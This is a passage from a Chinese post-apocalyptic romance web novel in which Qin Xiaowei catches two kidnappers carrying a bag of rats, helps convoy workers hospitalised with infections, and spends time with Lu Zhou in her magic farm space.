陆昼走后，她就撸起袖子，去抓两只狗，见秦小薇似乎真的“生气”了，两只狗这才不再乱跑，任由她套上狗绳。 他们之前跑得太远了，秦小薇牵着狗，在原地等了快一个小时，饿得啃了两个汉堡，才看到陆昼的吉普车。 陆昼看到一人两狗的状态，忍不住笑了起来：“怎么没精打采的？被太阳晒蔫了？” 秦小薇打了个哈欠：“午睡时间到了，有点困。” 她的生物钟非常规律，每天一到这个时候，就开始犯困，朔月也被她养成了睡午觉的习惯，这会已经趴在地上打盹了，香肠被他们传染了，也躺下了…… 陆昼：“去车上睡吧，到了我叫你！” 秦小薇也没和他客气，上车后，就戴上U形枕，闭上了眼睛。 不知过了多久，陆昼叫醒了她：“到了，下车吧！” 秦小薇伸了个懒腰，看到外面的景色后，她的动作顿住了：“这是哪？” 眼前是一栋被栅栏围起来的二层小楼，小楼白墙红顶，院子里还移栽了一些植物，看起来生机勃勃的。 陆昼：“饭店，带你来吃中饭，我提前给老板发了信息，现在进去，刚好能吃上……” 秦小薇：“……” 她揉了揉自己的胃，不由得有些心虚，她之前吃的两个汉堡，还没消化完呢！ 陆昼看到她的动作，瞬间明了：“你吃过了？” 秦小薇：“呃……稍微垫了下肚子，不过，我还能再吃一点点！” 陆昼也没因为她吃独食生气；“行，那就再陪我吃几口。” 下车后，秦小薇四处打量了一下，发现小楼外面并没有挂任何招牌，大厅里倒是摆了不少桌子，也有人正在吃饭，陆昼报了自己的名字之后，服务员就带着他们，找了位置坐下。 秦小薇小声问他：“这难道就是传说中那种不对外开放的私房菜馆？” 陆昼：“这家店经营了很多年，之前店铺就在我家老宅附近，小时候，我爷爷经常带我来他家吃饭，我算是吃着他家的饭菜长大的……” 秦小薇：“连个招牌都没有，还能开这么多年，这家店的味道肯定很能打。” 陆昼点头：“你应该会喜欢。” 两人只聊了几句，饭菜就上上来了，陆昼并没有食不言寝不语的习惯，一直在和秦小薇聊他小时候和这家店的故事，时不时还给秦小薇夹点菜投喂她。 明明进来之前，他说让秦小薇陪他吃几口就行，但菜上上来没多久，她碗里的菜，都快堆成小山了，反而是陆昼，根本没吃多少。 在他再次给她夹菜的时候，秦小薇伸手护住自己的碗：“你别夹了，我吃不下了。” 陆昼这才有些遗憾地收回筷子。 不愧是开了几十年的私房菜馆，这家店菜品的味道确实非常不错，秦小薇觉得，等肖琳琳他们回来了，她们四个可以来这里聚一聚…… 她正想着，就见手机振动了几声，是肖琳琳在群里发了消息，看到消息内容之后，她的眉头皱了起来。 【肖琳琳：车队里好多人被蚊子叮了之后都发烧了，车队准备提前返程。】 肖琳琳前几天就在群里说了，车队已经到C省了，那边到处都是蚊子，随便拿个网兜，在空气里一划拉就能抓到十几二十只蚊子，就算他们穿着长袖长裤，依旧挡不住蚊子的攻击。 他们队伍里有个人，睡觉前车窗留了一条小缝透气，结果半夜醒来后，发现自己的脸都快肿成猪头了，又痛又痒…… 秦小薇也是第一次知道，原来被蚊子叮了，不仅会痒，还会痛。 当地之前也有不少蚊子，但数量没有这么多。 他们当地人也饱受蚊子的困扰，甚至有人因为身上被咬了太多包，出现严重的过敏反应死亡…… 车队采购了当地售卖的驱蚊水和驱蚊药草包，隔几个小时就喷一次驱蚊水，打算熬过这段路程，继续向西前进。 没想到这才没几天，他们就改变行程，打算回来了。 【范槿：啊？不会是因为蚊子携带什么传染病，感染了吧？】 【范槿：我妈怎么样？没发烧吧？】 【肖琳琳：不知道，队伍里没带太多设备，也做不了检查。】 【肖琳琳：我们找了地下城的人，但这边乱得很，医院里也没几个医生，药还没我们车队里的全，他们让我们硬熬，说熬过去就好了。】 【秦小薇：……】 【范槿：……】 【段霞：……】 【秦小薇：还是早点回来吧！外面的世界实在是太危险了！】 陆昼：“吃不下了？” 秦小薇举起手机，让他看群里的聊天信息：“他们不会出事吧？” 陆昼就着她的手，翻了一下聊天记录，他的眉头也皱了起来，但随即，他又安慰她：“上面肯定会有应对策略，车队里还有不少军人，他们培养起来不容易，上面不会放弃他们的……” 虽然宁市现在有很多人，但驻军一直都没有扩编，对高层来说，这些人是稳定宁市的基石，每一个人都很珍贵。 秦小薇点点头，但眉头依旧没有松开，看得出来，她非常担心车队的人。 秦小薇：“这地方……是不是离风城挺近的？” 陆昼回忆了一下：“不远，就隔了一个市。” 秦小薇：“风城那些人，还在地下城吗？” 陆昼点头：“前段时间去了趟省里，想让省里给他们一个说法，但省里没理他们，他们就又回来了，天天在办公室吵架……为了躲他们，我们现在都居家办公，线上联系。” 秦小薇：“……” 陆昼：“最近这一个星期消停了一点，正在和上面的人谈判，他们想把风城那边的难民转移过来，让宁市接收，提了不少条件……” 秦小薇有些震惊：“还要往宁市塞人？” 陆昼：“两座城市离得这么近，风城肯定也在闹蚊子，刚好咱们这边的鼠灾控制住了，对风城的百姓来说，也算是个好去处。” 秦小薇托腮看他：“你觉得会谈成吗？” 陆昼点头：“应该差不多……听说省里又打算往宁市塞人了，这个时候接手风城的难民，既能堵住省里的嘴，又能解决风城的事，一举两得！就是条件，还得再谈谈……” 秦小薇：“还塞，宁市要爆了吧？” 陆昼：“没办法，整个Q省都这样。” 秦小薇：“……” 吃完饭之后，两人就回地下城了，下午没什么事，秦小薇便去了店里，肖琳琳他们车队里，也有三个人发烧了，她很担心他们的情况，时不时就拿出手机，看看群里有没有新消息。 同城APP上也有很多人在讨论这件事，事实上，从车队刚上路开始，就有人在网上直播外面的情况。 看到他们一路上经历的那些危险，不少网友都替他们捏了一把汗，后面见他们每次都能平安度过，只是有惊无险，网友们的心这才放了下来。 但这次，车队直接改变原有的行程，决定返程，网友们的心又提了起来，网上讨论这件事的相关帖子也越来越多，还有车队的人发了病人的照片和视频。 神志不清，浑身红肿到甚至认不出病人原本的样子……看着非常吓人。 下午看了太多负面信息，晚上健身房关门后，秦小薇还有些心烦意乱。 她不想回家，便牵着狗，去地面上转了转。 地下城的正上方，有很大一片空地，不过短短两个多月，这些空地就被市政利用起来了。 商业街、美食街、户外停车场、户外游乐场、户外运动场…… 上面非常热闹，地下城娱乐活动匮乏，但在地面上，这 些都可以得到补充…… 秦小薇牵着狗转了没多久，手上就多了几个袋子，袋子里有烤红薯、炸肉串还有炸薯饼，朔月没吃晚饭，便一直盯着她手上的吃的流口水。 秦小薇找了个角落吃晚饭，又打开它的嘴套，从它自己的背包里，摸了几块鸡肉干出来，给它解馋。 秦小薇：“先垫一下，等我吃完了，咱们就坐车回去……” 她话还没说完，就见德牧忽然站了起来，连鸡肉干也不吃了，机警地盯着某个方向。 秦小薇：“朔月，你又发现老鼠了？” 它忽然朝着某个方向跑去，它的狗绳还套在秦小薇的手腕上，见此，她也只能跟上去。 一人一狗，很快来到一个巷子前，巷子两旁，是两排由安全屋改建的商铺，晚上出来散步、逛街的人太多了，周围十分吵闹。 巷子被商铺的阴影所覆盖，里面又没有灯，看起来十分昏暗，秦小薇只能借着头顶的月光和星光，勉强辨认出，巷子里似乎站着两个人，其中一人，手里还提着什么东西。 “汪——”朔月忽然大声叫了起来。 巷子里的人被吓了一跳，提着东西的那人，更是扔下东西就跑。 秦小薇察觉到了不对，立刻追了上去，这条巷子的尽头是个死胡同，两人很快就没了退路。 见秦小薇带着只狗就想抓他们两个人，他们停下脚步，打算给秦小薇一点教训，秦小薇自然不怕，她直接一脚踹了过去。 朔月也扑了上去…… 两人都有些身手，但周围实在是太黑了，秦小薇费了些力气，才放倒他们。 她熟练地把人绑了起来，她用手电筒，对着两人照了照，最后，视线落在他们的脸上。 秦小薇：“你们是之前住地面上的难民？” 两人脸上的皮肤凹凸不平，颜色也不太均匀，秦小薇知道，这是长期冻疮后留下的痕迹，也是极度低温时，住在地面上那些难民的标志。 把人都弄到江安区之后，市政就开始“翻旧账”，追究他们的罪行，听段霞说，前段时间，他们杀了不少犯人，连土地都被染红了…… 在死之前，市政也公布了那些犯人的罪行，其中最多的，就是虐杀同类，吃人肉。 虽然网上早就流传着他们吃人肉的事，但真被官方盖棺定论了，大家还是觉得毛骨悚然，这些人脸上的特征十分明显，都有冻疮的痕迹，三个区地下城的人，看到他们一直都是绕道走，连话都不敢和他们说。 还有家长，专门拿他们吓唬家里的小朋友…… “什么难民？我们是宁市人！” “你是什么人？凭什么抓我们？” “MD，放开老子，你知道我们老大是谁吗？” “……” 两人在地上叫嚣着。 秦小薇没理他们，把人绑好了，又没收了他们身上的武器，就带着狗折回去找他们之前扔下的袋子。 看朔月刚刚的反应，那袋子里说不定装着人…… 秦小薇走近后，清楚地听到袋子里传出的声音，听清那是什么动静后，她下意识后退了一步。 袋子里传出的，并不是受害者的叫声，而是老鼠的“吱吱”声。 她拿出手机，立刻报警：“……我刚刚抓到了两个人，是之前住地面上的难民，他们带了一袋老鼠来红浦区这边，鬼鬼祟祟的，不知道要干什么……我现在在商业街这里，边上有一家欣欣女装……” 挂断电话后，秦小薇盯着地上的蛇皮袋，就像是在看一个定时炸弹。 这蛇皮袋看着也没多结实……不会警察还没来，老鼠就跑出来了吧？ 秦小薇正准备去附近的店里问问，看看他们能不能找个结实点的东西装老鼠，但她还没走出巷子，就有几个壮汉气势汹汹地赶了过来。 “刚刚是谁在外面砸墙？把我家墙都给砸坏了！店里客人都被吓跑了！” 秦小薇回忆了一下，她刚刚打架的时候，似乎是把人往墙上踹来着，但她那一脚，不至于把安全屋的墙给砸坏吧？ 秦小薇指着地上的袋子开口道：“我刚刚碰到了两个之前住地面上的人，想往咱们这扔老鼠，我抓他们的时候，可能动作激烈了亿点点……” 听到秦小薇的话，几个壮汉的脸色顿时变了，他们盯着袋子看了一会，忽略巷子外嘈杂的人声，听清楚里面的动静后，他们和秦小薇一样，也齐齐后退了一步。 因为听到了老鼠的叫声，他们也没怀疑秦小薇之前的话，其中一人问秦小薇：“那两个人呢？” 秦小薇指了指巷子深处：“绑起来了，还在里面……你们有笼子之类的东西吗？我担心老鼠会跑出来！我已经报警了，警察和巡逻队应该很快就会过来！” 那人立刻答道：“老三，你回去拿个桶过来！老二，你和我去看着那两个家伙！” “好！”被点名的人立刻跑回去找桶。 很快，那人就找了个大白桶过来，那桶之前不知道是装什么的，外面沾了不少油污，看起来有点脏，但是容量很大，完全塞得下蛇皮袋。 几人合力，赶在警察来之前，把蛇皮袋塞进了桶里。 塞袋子的时候，他们虽然戴着手套，但依旧是战战兢兢的，生怕里面的老鼠隔着袋子给他们来一口…… 警察很快就来了，给他们做完笔录之后，就带着那两人和一桶老鼠离开了。 至于被弄坏的商铺墙面，几个壮汉则表示，修修还能继续用，就不要赔偿了。 秦小薇去店里看了看，墙面确实只有一点凹陷，拿锤子敲一敲，就能恢复原样…… 没吃完的炸肉和烤红薯都在刚刚追那两人的时候弄掉了，秦小薇也没再买一份，而是准备回家吃饭，反而是朔月，一直惦记着它刚刚没吃完的鸡肉干，要回去找鸡肉干。 秦小薇直接把它抱起来，强行扛回家，它才消停下来。 秦小薇对这事非常关注，还找了段霞，让她帮忙关注一下事情的后续。 第二天早上五点多，秦小薇就接到了肖琳琳的电话，她以为车队出了什么事，瞬间清醒过来。 秦小薇：“喂，琳琳，出什么事了？怎么这个点给我打电话？” 肖琳琳：“地下城派了飞机来接发烧的队员回去，咱们队的赵青和裴政都上飞机了，他们要住院，不知道要花多少钱，薇薇，这钱……” 秦小薇松了口气：“这事我来解决！我晚点通知他们的家人，和他们一起去机场接人，琳琳，你和阿姨她们什么时候回来？” 肖琳琳：“我们估计还要一段时间！车上都装着货呢，我们得把车开回去！” 秦小薇：“你们路上小心点，注意安全！” 肖琳琳：“知道了。” 挂断电话后，秦小薇立刻联系了两个队员的家人，又和他们商量了一起去机场的时间，这才重新躺下去继续睡回笼觉。 她拍了拍朔月的狗头：“别闹了，咱们再睡一个小时再起来！” 第139章 第139章（双更合一） 秦小薇像往常一样,睡到了六点半才起来，起床之后，她洗漱、做早饭、吃早饭……一人一狗都填饱肚子后,秦小薇把狗收进空间里,才出门接人。 两个队员的家人都很着急,一早就在出入口等她了。 一看到秦小薇，赵青的妈妈就死死抓住了秦小薇的胳膊,指甲陷入她的肉里：“阿青领导,你和我说实话，我家阿青是不是不好了？咱们这趟去机场,是不是去领、领……” 她的声音有些哽咽，张了好几次口，却始终没说出“尸体”两个字。 秦小薇听懂了她的意思,顿时有些无奈。 她挣脱了赵妈妈的手,转而握住赵妈妈的手，安慰她：“阿姨，运输机真是送伤员回来的！琳琳说飞机上有随行的医疗队,赵青肯定会没事的 ……” 上车后，赵妈妈还忍不住念叨：“前天晚上打电话的时候,我听着阿青的声音就觉得不对,但阿青非说自己没事，说了几句就把电话挂了……这孩子，嘴里真是一句实话都没有！” 赵爸爸揽住了她的肩膀：“孩子也是怕你担心！” 裴政的爸妈已经不在了,来的是他的妻子和她九岁的女儿，母女俩都有些沉默，眼睛肿成了核桃，看得出来,来之前，母女俩都哭了一场。 秦小薇递给小姑娘一个牛奶糖，让她甜甜嘴，又伸手摸了摸她头上的小啾啾：“你爸爸肯定会没事的。” 他们到机场的时候，飞机还没落地，他们只能在机场外面等着。 机场和秦小薇上次来的时候差不多，依旧是半塌的状态，但另一边的废墟已经被施工队清理干净了，还有工人正在重新修建机场，机场外面有不少车辆来往，但都是大型运输车。 因为宁市一直在向外界输送各种常用药，这段时间，机场每天都有飞机来往运输物资，也算“热闹”。 秦小薇找了个地方停车，车上的气氛很压抑，大家都没说话。 众人焦灼地等了两个多小时，秦小薇才见到一辆辆救护车从远处赶过来。 赵妈妈把头伸出窗外，焦急地张望着：“是不是阿青他们要回来了？” 秦小薇：“阿姨，您别着急，我过去问问……” 赵妈妈不放心，也跟了上去，一番询问过后，众人确定了，确实是飞机要落地了。 周围除了他们，还有不少得到消息的病人家属，大家的脸上都写满了担忧。 很多家属都闹着要进去接机，知道他们的身份，保安问过上面的意思后，就放他们进去了，救护车直接开进了停机坪，和他们一起等着飞机降落。 机舱门打开后，病人就被随行的医护人员抬了出来，几乎每个人身上都连着输液管，秦小薇观察了一下。 他们中，有些人的皮肤是红紫色的，还有些人的皮肤肿得不正常。 有些人还有意识，一直伸长脖子，在人群中寻找自己的亲人朋友；有些人则完全失去了意识，闭着眼睛躺在担架上…… 看到病人下飞机后，秦小薇身边顿时响起了各种各样的声音。 “阿青！老赵，你看看，后面那个是不是咱们家阿青？” “不太像！咱儿子没那么胖吧？” “我看那衣服有点像，不是说病了之后人会肿吗？胖一圈也正常！” “老李！老李你怎么了？你睁开眼睛看看我啊！” “……” 他们很快找到了赵青和裴政，见他们都还有意识，秦小薇几人都松了口气，赵妈妈一直跟在赵青身边，一边随着担架小跑，一边握着他的手掉眼泪。 他们上了救护车之后，秦小薇跟在救护车后面，和他们一起去了地下城的医院。 接回来的很多病人，都有生命危险，刚进医院，就进了抢救室；一些没那么严重的，则被送进了病房，做检查、输液…… 护士人手不够用，病人一个人又没法做检查，只能让家属帮忙。 赵妈妈他们推着两人去做检查，秦小薇则去排队缴费。 她缴费之前，特地问了医生住院的花费，她往两人的账户里多存了点医药费，确保两人住院期间，不会因为医药费的事发愁…… 一番忙碌下来，时间很快就到了中午，医院食堂的饭菜大多都是素的，看着很没有食欲，价格还特别贵，秦小薇就又回了趟家，用打包盒从仓库里打包了一些她之前做好的饭菜送去医院。 下午看到群里的消息，秦小薇这才想起来，忙活了几个小时，她竟然忘记和肖琳琳他们报平安了！ 【秦小薇：上午就接到人了，之前一直在做检查、领药，我没看手机……】 【秦小薇：医生说他俩是细菌感染导致的淋巴管炎，还没有形成脓肿，也没有其他的并发症，不算特别严重，输一周液就能回去吃药了。】 【肖琳琳：太好了！】 【肖琳琳：薇薇，他俩住院，你帮忙多照看一点！】 【秦小薇：我会的！】 毕竟是给自己赚钱的员工，秦小薇对员工，还是挺大方的！ 她正准备合上手机，段霞的消息又弹了出来。 【段霞：薇薇，昨天晚上那事有结果了！你可帮我们破了一个大案子！】 【秦小薇：什么案子？】 【段霞：最近经常有人在外面制造混乱，趁机抓人，目前已经有十几个大人小孩报了失踪，你昨天抓到的那两个人，就是这个犯罪团伙里面的，我们连夜审讯，顺藤摸瓜，抓了一长串人……】 听完段霞的解释，秦小薇这才知道，虽然地下城每天人流量都很大，稍微花点心思，也能混进来，但出入口有很多工作人员盯着，想要光明正大地从地下城拐人，还是有点难度的。 地面上的安保没那么严格，再加上红浦区这边，是整个宁市最“富裕”的地方，这边的人又被市政保护得太好，太“单纯”，自然就成了某些罪犯眼里的“肥肉”。 她昨天抓到的那两人，就打算利用那袋老鼠制造混乱，然后乘机抓人。 至于抓到的人要怎么处理……有用的器官就卖到隔壁市，没用的胳膊腿什么的，就当猪肉，按斤卖了！ 之前吃了一年多人肉，现在忽然不让他们吃了，不少人都馋这口呢！ 看完群里的消息，秦小薇的眉头皱了起来。 这才升温多久啊！人体贩卖就形成产业链了？这发展的也太快了！ 【秦小薇：不是说那些吃过人的都枪毙了吗？】 【范槿：漏网之鱼吧！】 【范槿：没想到死了那么多人，还有漏网之鱼……我记得当时火葬场还特地空出一天烧罪犯的尸体，没想到这都没抓完！】 【范槿：要我说，市政就不该管地面上那些人，那两年什么情况，大家心里都门清，能活下来的，都不是什么好人。】 【段霞：也不能一竿子打死一片人。还是有好人的，我之前执勤的时候，就碰到一个大哥，特别讲义气，他和几个兄弟，这两年护住了不少孩子，有段时间，吃的不够，他们就把吃的留给孩子，自己啃雪……】 几人在群里聊了一会，秦小薇才合上手机。 她一直待在医院，等赵青他们输完液了，又送他们的家属回家拿了些洗漱用品，秦小薇才回家休息。 虽然有好几人围着两个病人转，但这一整天，秦小薇依旧过得不轻松，从接到人开始，她就没停下来过…… 到家后，她才想起来，今天把朔月放在空间里关了一天，中午的加餐和晚饭都忘了。 到家后，她一关上门，就直接进了空间。 朔月越过了菜地外面的围栏，进了菜地里，正用爪子按着一棵白菜，啃得“咔擦咔擦”响。 看到了秦小薇，它立刻丢下白菜，朝着她跑了过去。 “汪呜——”朔月扑到秦小薇身上，尾巴都快甩成螺旋桨了。 秦小薇直接把它从地上抱了起来：“抱歉啊！今天太忙了，把你忘记了……你吃了多少白菜，还吃得下晚饭吗？” “汪——” 一人一狗吃完晚饭，才从空间里出去。 出去待了没一会，家里的大门就被人敲响了，是陆昼。 陆昼手上端着一个盘子：“烤了几个土豆，我记得你很喜欢这么吃……” 土豆蒸熟之后，再压成土豆饼，撒上孜然粉、辣椒面，刷上油烤，烤出来的土豆外脆里软，非常好吃。 秦小薇没拒绝，她接过盘子：“谢了！” 见她要关门，陆昼拦住了她，义正言辞地开口道：“我有事和你说，咱们进去说？” 这个理由他已经用了无数次，秦小薇自然知道，他并不是想找她谈事……应该说，并不是单纯地想找她谈事！ 秦小薇斜了他一眼，最后还是放他进来了。 陆昼：“这是我们昨天带回来的土豆，我爸妈他们都说好吃……” 秦小薇仔细品味了一下：“和我平时吃的土豆，好像没什么区别？” 陆昼：“……” 秦小薇：“你今天又要透露什么消息？” 陆昼没回答她的问题：“白天给你发消息，你怎么没回？” 秦小薇：“忙。” 陆昼：“忙什么？” 秦小薇：“就一些杂七杂八的事呗！” 陆昼和她东拉西扯地聊了一堆杂事，见秦小薇要动手打人，他这才收敛了一些，开口说正事：“我堂哥回来了。” “堂哥？”秦小薇反应了两秒，才想起来他说的是谁。 陆昼有个堂哥是退伍军人，前几年被重新召回部队了，虽然战争早已结束，但他一直没回来。 他现在回来了，是不是就意味着战争彻底结束、边境线也安稳下来了？ 秦小薇：“他不会再被召回去吧？” 陆昼摇头：“不会，用不上他了。” 和陆昼记忆中不一样，这次，战争并没有蔓延到宁市，秦小薇也没有经历过战争的残酷，但听到他这么说，她的唇角还是忍不住弯了起来。 战争彻底结束，他的记忆算是彻底改变了吧！ 陆昼：“家里打算给他办一个接风宴，你来不来？” 秦小薇：“我又不认识他，你家里给你堂哥办接风宴，我过去……太奇怪了吧？” 陆昼凑近她，桃花眼里满是笑意：“换个身份，就不奇怪了……你说呢？” 秦小薇故意曲解他的意思：“你要告诉家里人我空间的事？” 陆昼展示了一下什么叫“笑容消失术”，他伸手弹了下她的脑门：“你就装傻吧！” 秦小薇捂住额头：“痛——” 她直接扑了过去，飞快伸手，弹了回来，见他额头上多了个红印，她这才满意。 陆昼无奈：“你还真是一点都不吃亏！” 他待了一个多小时，见秦小薇开始打哈欠了，才依依不舍地离开。 之后几天，秦小薇每天都往医院跑，直到两个病患的血液指标正常了、出院了，她才闲下来。 因为动用了飞机，及时把病患运了出来，就算车队里不少人都中招了，但大部分人都救了回来，只有几个人抢救无效死了。 秦小薇这几天天天跑医院，对这些人的病情也有了些了解。 他们中大部分人，都和赵青他们一样，是细菌感染导致的蜂窝组织炎、淋巴管炎、脓疱疮，及时用药，都能救回来。还有些严重的，继发了败血症，感染了登革热之类的传染病。 轻症的，基本上输液一两周就能出院，重症的，赵青他们出院的时候，他们身上还插着管子在病房里躺着，有些还得隔离…… 上面确实很重视车队的军人，就秦小薇跑医院的这几天，几乎每天都能看到地下城的领导过来探病、送物资。 忙完了赵青他们的事，这天早上，秦小薇难得按时去健身房上班。 十点多的时候，前台过来找她，说江明月今天没来上班，但是她约的会员来找她上课了。 秦小薇打开手机看了看：“她没和我请假……你给客人上杯茶，让她等一下，我给她打个电话。” 江明月去年生了个女儿，上个月，总店重新开张的时候，她找了秦小薇，说她的身体恢复了，秦小薇便帮她调了职位，让她继续当教练。 “好！”前台转身去招待那位客人。 秦小薇给江明月打了好几个电话，但一直没人接，她也没让客人一直等着，问了其他教练的安排后，她给客人换了教练，还送了些礼物道歉…… 江明月今天还约了其他的学员上课，秦小薇让前台一一联系了她们，或是重新预约上课时间，或是直接换教练…… 一直到中午，秦小薇才接到江明月的电话：“店长，我女儿今天早上忽然开始尿血，身上也青一块紫一块的，我和我老公吓死了，赶紧送她去医院，我早上忙昏了头，没注意请假的消息没发出去……” 听到江明月的话，秦小薇吓了一跳：“明月，你女儿误食老鼠药了？” 市政在地下城和市区各处都投放了大量老鼠药，担心市民们误食，市政还专门发了视频科普老鼠药的中毒症状，其中，血尿和瘀斑就是老鼠药的中毒症状之一。 江明月：“医生说是。我也不知道她怎么会误食那玩意，明明她一直在喝母乳……” 婴儿喝的奶粉需要额外添加别的东西，但现在地下城只有现挤的牛奶，担心孩子营养不良，因此江明月一直是母乳喂养。 秦小薇安慰了她几句，又开口道：“……我给你放几天假，你先照顾孩子，等她病好了，你再回来上班。” “好。” 秦小薇其实挺好奇，江明月的女儿是怎么中毒的，但那边似乎很忙，她也就没多问。 反正江明月作为孩子的家长，肯定会想办法查清楚这件事的，等人回来上班了，她自然也就知道了…… 晚上回家的时候，秦小薇发现陆昼在她家门口等她，手上还提着一个笼子，笼子里是一只小橘猫。 秦小薇停下脚步：“你打算养猫？” 陆昼：“朋友送的，说养在家里可以抓老鼠，你要不要？” 秦小薇弯下腰，伸手逗弄笼子里的小橘猫：“你朋友竟然会养这种土猫？” 陆昼：“土猫抓老鼠厉害。” 秦小薇：“这倒是真的！” 陆昼：“养不养？我可以给它建猫窝……” 然后趁着这个机会，频繁登堂入室是吧？ 秦小薇看了眼脚边正冲着她笑的朔月，摇头：“暂时不打算要三胎，朔月抓老鼠也挺厉害的！” 似乎是听懂了她的夸奖，朔月“汪”了一声。 陆昼也没勉强她，他四处看了看，然后凑近秦小薇，小声开口道：“那咱们明天一起出去一趟，把其他的种子运回来？” 土豆的种植大获成功，两人商量了一下，决定在外面试种一下空间里的其他种子。 秦小薇应了一声，又陪小橘猫玩了一会，才牵着狗回家。 但她在家没待多久，陆昼就又过来了，还带了一份文件，再次借着谈正事的名义登堂入室。 陆昼把文件递给她：“你看看，有没有什么要改的。” “什么东西？”秦小薇打开文件袋，抽出里面的文件。 里面的文件很厚，至少有几百页纸，A4纸还是温热的，似乎是刚从打印机里拿出来的…… 秦小薇翻开文件看了看，这才知道，这竟然是一份伪造的土豆种研究报告，算是为秦小 薇拿出来的那些土豆“正名”，给了它一个正经的身份。 秦小薇看着报告里那一长串她完全看不懂的专业术语，有些无语：“你觉得我一个体育生，能看得懂这些吗？我又能给什么建议？” 陆昼：“看不懂也没事，我们先吃饭！” 秦小薇把文件塞回文件袋里，扔回桌上：“我看你就是过来蹭饭的！” 陆昼就和在自己家一样，没有半点不自在，他去厨房盛好饭之后，甚至还主动招呼秦小薇吃饭，似乎他才是这个家的主人。 秦小薇用眼神指了下一旁的文件袋：“有必要做到这种地步吗？” 那一沓文件，比她的大学课本还要厚。 她要是不知道内情，绝对会被唬住！根本不会怀疑那些种子的来源有问题！ 陆昼：“有备无患！” 秦小薇：“那文件里的内容，你找谁编的？” 陆昼：“何谢，你不认识……他大学的时候就在研究土豆，今年已经五十多岁了……” 秦小薇给他比了个大拇指：“你厉害！” 这么一个“土豆专家”编出来的东西……文件还那么厚，拿出去肯定没人怀疑！ 吃完饭之后，秦小薇收到了范槿的消息。 【范槿：薇薇，我家要动工了，我明天带你去看看？】 范槿最后还是决定放弃申请单位的房子，动用家里的存款去外面建房，她找段霞查了查，发现炸货铺的老板找的承包商并不靠谱，就没有和他们合建房子，而是找了其他人。 她不像段霞，职位那么高，狼多肉少，她就算找了关系也不一定能分到房子，就算分到了房子，也肯定是个单人间，不能和他爸妈一起住。 范槿没毕业的时候一直想自己住，觉得和他们一起住，没有隐私空间，但这两年，范妈妈一直在外面跑车，留她和范爸爸两个人在家里，范爸爸有腰疼的毛病，之前某次发病的时候，躺在床上，起都起不来，吃喝拉撒都要人伺候着。 那次之后，范槿才真的意识到，她爸爸老了，也到了需要人照顾的年纪。 她思来想去，就算他们一直催婚，一家人也得住在一起，就算有个什么头疼脑热，也能搭把手。 至于之后还会不会发生别的天灾把房子给毁了…… 范槿觉得，市政都鼓励大家在外面建房子了，应该没这个可能！ 【秦小薇：明天几点？】 【范槿：下午吧！我应该可以提前下班！】 【范槿：看完之后，我们还可以一起去搓一顿！我刚刚抢到了一张五折的酸菜鱼的团购券！】 【范槿：[图片]】 秦小薇想了想，她明天早上要和陆昼一起运种子回来，之后去不去健身房都行，她下午有时间，便答应了。 【秦小薇：行。】 【范槿：薇薇，那你开车？】 【秦小薇：OK！】 第140章 第140章堂哥（双更合一）…… 之后,两人又一起进空间里打包种子。 秦小薇：“胡萝卜和棉花的种子只能用金币买，成本有点高，我少买点……” 陆昼知道农场里的金币很难攒,用处也很多,就没有反对。 说是打包种子,但也就刚开始的时候，他俩还有耐心取种子,后面耐心耗尽,秦小薇干脆就拿了几个框，打包了一堆作物,让负责试验田的人，自己从玉米、草莓等作物上取种子种下…… 打包完东西，陆昼依旧不愿意离开,他指着远处的海岸开口道：“我没坐船出过海,今天能不能见识一下你开船的技术？” 秦小薇拿出手机，看了下时间，见时间还早,便点头答应了：“行吧！就当饭后消食了……朔月！咱们坐船去了！” 德牧原本正在和鹦鹉玩，听到秦小薇的声音,立刻抛下小伙伴,朝着她跑了过来。 秦小薇给它穿上救生衣，才带着他们，朝沙滩上走去。 秦小薇问陆昼：“你想坐哪条船出海？” 陆昼扫了一眼,指着其中最小的那条船开口道：“那条。” 他指的是一条单人船，船上的面积有限，他们坐上去，腿肯定会挨到一起……陆昼的意图可以说是非常明显了。 秦小薇翻了个白眼：“你真是对咱仨的体重没一点数,也不怕中途翻船！” 那条单人船，坐她一个人还行，再加上陆昼和一条几十斤重的狗……百分百会翻船。 说着，秦小薇直接带着他们上了最大的蛋糕船，完全剥夺了陆昼的选择权。 陆昼也没生气，跟着她上了船。 上船之后，德牧就去甲板上撒欢了，秦小薇时常带着它出海玩，它对海边的几条船都很熟悉，有时候还会主动上船，要秦小薇带它出海玩。 它现在坐船，已经不像第一次那么害怕了。 陆昼则跟着秦小薇去了驾驶室。 陆昼：“让我试试？” 蛋糕船的操作并不复杂，他稍微看几眼，就会开了。 秦小薇主动让位：“行啊！” 他的手很稳，他接手之后，蛋糕船甚至没出现太剧烈的晃动。 过了一会，陆昼看向秦小薇：“怎么样？” 他的桃花眼里全是期待，就像是一个和主人要夸奖的大狗狗。 秦小薇有点手痒，她把手背到身后，忍住了想要揉他脑袋的冲动，别开脸，故作镇定道：“还、还行……这里可以设定自动驾驶，我们去甲板上吹风吧！” 说着，她飞快在屏幕上按了几下，就出了驾驶室。 陆昼跟在她身后，追问道：“就只是还行？没点别的评价？” 他和她挨得很近，秦小薇一转头就能看到他脸上细小的毛孔，他似乎是打定主意，要从她嘴里听到夸奖的话。 秦小薇推了他一下：“……闭嘴，看风景！” 陆昼看着她耳后的一片绯红，唇角弯了起来，过了一会，见她看自己的眼神变了，他才收敛了一些。 某人揍人还是挺疼的，不能把人逗炸毛了…… 船只随着海浪轻轻晃动，并不会让人觉得晕船，海风吹在脸上，特别舒服。 陆昼：“这么大一片海，能种海带，怎么会没有鱼虾？” 秦小薇抱着一杯冰镇西瓜汁，闭着眼睛靠在座椅上，声音懒洋洋的：“不知道……要不你去问问系统？” 陆昼：“……” 陆昼：“你会潜水吗？我搞两套潜水装备，改天咱们一起去海底看看？” 秦小薇摇头：“不会，我只会游泳。” 陆昼笑了起来：“我有潜水证，我教你！” 秦小薇这才睁开眼睛看他：“没坐船出过海，但是有潜水证？” 陆昼轻咳一声，转移话题：“海底说不定有珊瑚，你想看吗？” 秦小薇也没计较他说谎套路自己的事，想了想，点头答应了。 反正这几个月，她已经见识过他追人的时候有多不要脸了，什么借口都能说出来，套路一个接一个。 况且，潜水听起来还挺有意思的…… 两人一狗在空间里待到了十点多，才出空间。 刚出来，秦小薇就听到了门铃声，她打开手机监控看了看，看清门口的人后，她的眉头皱了起来。 陆昼注意到她表情不对，便问她：“怎么了？谁在敲门？” 秦小薇：“不认识……看长相，好像是之前住地面上那批难民，我和朔月前几天抓了两个人，听阿霞说，他们顺着这两个人，抓了一长串人……该不会是有漏网之鱼，过来报复我吧？” 她说着，把手机举到陆昼面前。 